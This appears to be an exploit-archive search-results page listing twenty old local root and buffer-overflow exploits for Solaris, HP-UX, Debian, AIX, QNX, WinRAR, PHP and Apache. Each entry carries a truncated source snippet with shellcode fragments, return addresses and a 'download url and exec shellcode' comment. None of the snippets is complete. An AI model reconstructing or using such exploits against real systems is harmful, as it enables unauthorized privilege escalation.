7304 matches found
Debian 2.2 /usr/bin/pileup Local Root Exploit
No description provided by source. / pileup-xpl.c - local root exploit by core Friday the 13th, July 2001 based almost entirely on code by Cody Tubbs loophole of hhp $ ./pileup-xpl pileup-xpl by core 2001 - beep beep root! usage: ./pileup-xpl offset align0..3 Ret-addr: 0xbfffe09c, offset: 0, alig...
Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
No description provided by source. !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ || http://teleh0r.cjb.net/ $shellcode ...
MS Windows XP (explorer.exe) Buffer Overflow Exploit
No description provided by source. include fstream.h include string.h include stdio.h include windows.h include direct.h char shellcode= //download url and exec shellcode //doesn't have any hardcoded values //except the base address of the program //searches the import table for //LoadLibraryA,...
Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit
No description provided by source. include stdio.h include unistd.h / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl...
HP-UX 11.0 /bin/cu Privilege Escalation Exploit
No description provided by source. / Copyright c 2001 Zorgon All Rights Reserved The copyright notice above does not evidence any actual or intended publication of such source code. HP-UX /bin/cu exploit. Tested on HP-UX 11.00 [email protected] http://www.nightbird.free.fr / include stdio.h...
QNX RTOS 6.3.0 (phgrafx) Local Buffer Overflow Exploit (x86)
No description provided by source. / [email protected] c 2005, all rights reserved. sample exploit for phgrafx on QNX 6.3.0 x86 tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86 / include sys/types.h include stdio.h include stdlib.h include dlfcn.h include unistd.h include err.h...
xtokkaetama 1.0b Local Game Exploit (Red Hat 9.0)
No description provided by source. / xtokkaetama 1.0b local game exploit on Red Hat 9.0 Coded by brahma 31/07/2003 http://www.debian.org/security/2003/dsa-356 / include stdlib.h define RETADDR 0xbfffff11 define DEFAULTBUFFERSIZE 29 define DEFAULTEGGSIZE 512 define NOP 0x90 define BIN...
AIX 5.2 netpmon Local Elevated Privileges Exploit
No description provided by source. / IBM AIX netpmon elevated privileges exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy at caughq.org / include stdio.h include unistd.h include stdlib.h include string.h define DEBUG 1 define BUFFERSIZE 2048 define EGGSIZE 2048 define NOP...
WinRAR 3.30 Long Filename Buffer Overflow Exploit (more targets) (2)
No description provided by source. / IHS public source code WinRAR 3.3.0 and below local BOF exploit author : c0d3r , kaveh razavi [email protected] advisory : http://www.securityfocus.com/archive/1/420679 tnx to alpha who reported the vulnerability workaround: use the lastest version special tnx...
SquirrelMail chpasswd buffer overflow
No description provided by source. / 0x3142-sq-chpasswd.c Squirremail chpasswd buffer overflow. Tested on SuSE 9. The bug was found by Matias Neiff matias neiff com ar Coded by x314 0x3142 hushmail.com c 2004 Copyright by x314. All Rights Reserved. Greets: m0s krewz. / include stdlib.h char...
Solaris 7 / 8-beta arp Local Overflow Exploit
No description provided by source. / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax";...
Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version
No description provided by source. / ld.so.1 exploit SPARC coded by: osker178 bjr213 psu.edu Alright, so this exploits a fairly standard buffer overflow in the default Solaris runtime linker ld.so.1 discovery by Jouko Pynnonen Only real deviation here from the standard overflow and return into li...
Xsok v1.02 "-xsokdir" local buffer overflow game exploit
No description provided by source. / 0x333xsok 2 = xsok 1.02 local game exploit Happy new year ! 2 : coded by c0wboy c 0x333 Outsiders Security Labs / www.0x333.org / include stdio.h include unistd.h define BIN "/usr/games/xsok" define RETADD 0xbffffa3c define SIZE 200 unsigned char shellcode = /...
Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits
No description provided by source. ---------------------------- file newpass.c ------------------------------- include stdio.h include syslog.h define hiddenpasswd "/bin/hpasswd" /change here .../ define MAXLENGTH 32 void mainint argc, char argv int i; char args10; ifargc 10 args0=hiddenpasswd;...
PHP <= 4.4.3 / 5.1.4 (objIndex) Local Buffer Overflow Exploit PoC
No description provided by source. ?php / Author: Heintz Date: 4-th august 2006 Greets: Waraxe from www.waraxe.us All buds at www.plain-text.info Torufoorum ext/standard/scanf.c line 887 --- if numVars current = argsobjIndex++; --- objIndex points past the end of array in other format cases too...
htpasswd Apache 1.3.31 Local Exploit
No description provided by source. !/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...
ZipCentral 4.01 ZIP File Handling Local Buffer Overflow Exploit
No description provided by source. / ZipCentral 4.01 Exploit by bratax http://www.bratax.be/ Soooooo many thanks to BuzzDee and c0rrupt for helping me with all the problems I encountered : Wouldn't have finished this without you guys! Greetz to everyone I like... no, that doesn't include you...
X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)
No description provided by source. / X11R6 XKEYBOARD extension Strcmp for Sun Solaris 8 9 10 SPARC Copyright 2006 RISE Security [email protected], Ramon de Carvalho Valle [email protected] ExpCode.com This program is free software; you can redistribute it and/or modify it under the...
HP-UX 11i (swmodify) Stack Overflow Local Root Exploit
No description provided by source. / HP-UX swmodify buffer overflow exploit ======================================= HP-UX 'swmodify' contains an exploitable stack overflow in the handling of command line arguements. Specifically the problem occurs due to insufficent bounds checking in the "-S"...
HP-UX 11i (LIBC TZ enviroment variable) Local Root Exploit
No description provided by source. / HP-UX libc timezone environment overflow exploit ================================================ HP-UX libc contains an exploitable stack overflow in the handling of "TZ" environment variable. The problem occurs due to insufficient bounds checking in the...